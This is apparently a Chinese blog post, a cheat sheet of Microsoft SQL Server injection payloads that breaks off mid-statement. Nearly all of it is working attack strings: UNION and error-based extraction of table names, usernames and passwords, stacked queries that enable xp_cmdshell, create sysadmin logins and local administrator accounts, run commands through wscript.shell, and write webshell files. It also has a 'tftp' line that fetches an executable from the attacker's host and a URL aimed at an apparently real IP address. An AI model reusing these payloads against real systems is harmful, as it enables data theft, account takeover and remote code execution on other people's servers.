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关于mssql数据库下的一些攻防技巧

2011-9-2 10:40 664 0

摘要: Sql的注射最早源于’or’1’=’1)  最重要的表名:  select * from sysobjects  sysobjects ncsysobjects  sysindexes tsysind...
关键词: select NAME where exec master sysobjects nbsp users dbo xp

Sql的注射最早源于’or’1’=’1)  最重要的表名:  select * from sysobjects  sysobjects ncsysobjects  sysindexes tsysindexes  syscolumns  systypes  sysusers  sysdatabases  sysxlogins  sysprocesses  最重要的一些用户名(默认sql数据库中存在着的)  public  dbo  guest(一般禁止,或者没权限)  db_sercurityadmin  ab_dlladmin  一些默认扩展  xp_regaddmultistring  xp_regdeletekey  xp_regdeletevalue  xp_regenumkeys  xp_regenumvalues  xp_regread  xp_regremovemultistring  xp_regwrite  xp_availablemedia 驱动器相关  xp_dirtree 目录  xp_enumdsn ODBC连接  xp_loginconfig 服务器安全模式信息  xp_makecab 创建压缩卷  xp_ntsec_enumdomains domain信息  xp_terminate_process 终端进程,给出一个PID  例如:  sp_addextendedproc ’xp_webserver’, ’c:/temp/xp_foo.dll’  exec xp_webserver  sp_dropextendedproc ’xp_webserver’  bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar  ’ group by users.id having 1=1-  ’ group by users.id, users.username, users.password, users.privs having 1=1-  ’; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )-  union   select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’-  union   select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (’login_id’)-  union   select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (’login_id’,’login_name’)-  union   select TOP 1 login_name FROM logintable-  union   select TOP 1 password FROM logintable where login_name=’Rahul’--  构造语句:查询是否存在xp_cmdshell  ’ union   select @@version,1,1,1--  and 1=(select @@VERSION)  and ’sa’=(select System_user)  ’ union   select ret,1,1,1 from foo--  ’ union   select min(username),1,1,1 from users where username > ’a’-  ’ union   select min(username),1,1,1 from users where username > ’admin’-  ’ union   select password,1,1,1 from users where username = ’admin’--  and user_name()=’dbo’  and 0<>(select user_name()-  ; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WIndows/system32/cmd.exe /c net user admin 123456 /add’  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = ’X’ AND name = ’xp_cmdshell’)  ;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell’, ’xplog70.dll’  1=( select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’)  and 1=(select IS_SRVROLEMEMBER(’sysadmin’)) 判断sa权限是否  and 0<>(select top 1 paths from newtable)-- 暴库大法  and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)  创建一个虚拟目录E盘:  declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"’  访问属性:(配合写入一个webshell)  declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse’  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)  依次提交 dbid = 7,8,9.... 得到更多的数据库名  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 暴到一个表 假设为 admin  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (’Admin’)) 来得到其他的表。  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’  and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in  (’id’,...)) 来暴出其他的字段  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名  依次可以得到密码。。。。。假设存在user_id username ,password 等字段  Show.asp?id=-1 union   select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin  Show.asp?id=-1 union   select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin  (union语句到处风靡啊,access也好用  暴库特殊技巧::\=’/’ 或者把/和/ 修改%5提交  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(’Address’))  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段  http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--  http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1  ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/’, @value_name=’/’, values=@testOUTPUT insert into paths(path) values(@test)  http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 1.1.1.1";--  得到了web路径d:/xxxx,接下来:  http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--  http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--  传统的存在xp_cmdshell的测试过程:  ;exec master..xp_cmdshell ’dir’  ;exec master.dbo.sp_addlogin hax;--  ;exec master.dbo.sp_password null,hax,hax;--  ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--  ;exec master.dbo.xp_cmdshell ’net user admin 123456 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--  ;exec master.dbo.xp_cmdshell ’net localgroup administrators admin  /add’;--  exec master..xp_servicecontrol ’start’, ’schedule’  exec master..xp_servicecontrol ’start’, ’server’  http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WINNT/system32/cmd.exe /c net user admin   123456 /add’  ;DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WINNT/system32/cmd.exe /c net localgroup administrators admin /add’  http://localhost/show.asp?id=1'; exec master..xp_cmdshell ’tftp -i youip get file.exe’-  declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:/’  declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:/’  ;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’  如果被限制则可以。  select * from openrowset(’sqloledb’,’server’;’sa’;’’,’select ’’OK!’’ exec master.dbo.sp_addlogin hax’)  传统查询构造:  select * FROM news where id=... AND topic=... AND .....  admin’and 1=(select count(*) from [user] where username=’victim’ and right(left(userpass,01),1)=’1’) and userpass <>’  select 123;--  ;use master;--  :a’ or name like ’fff%’;-- 显示有一个叫ffff的用户哈。  ’and 1<>(select count(email) from [user]);--  ;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;--  说明:  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。  通过查看ffff的用户资料可得第一个用表叫ad  然后根据表名ad得到这个表的ID  ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;--  象下面这样就可以得到第二个表的名字了  ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;--  ffff’;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;--  ffff’;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;--  ffff’;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;--  exec master..xp_servicecontrol ’start’, ’schedule’  exec master..xp_servicecontrol ’start’, ’server’  sp_addextendedproc ’xp_webserver’, ’c:/temp/xp_foo.dll’  扩展存储就可以通过一般的方法调用:  exec xp_webserver  一旦这个扩展存储执行过,可以这样删除它:  sp_dropextendedproc ’xp_webserver’  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-  insert into users values( 667,123,123,0xffff)-  insert in
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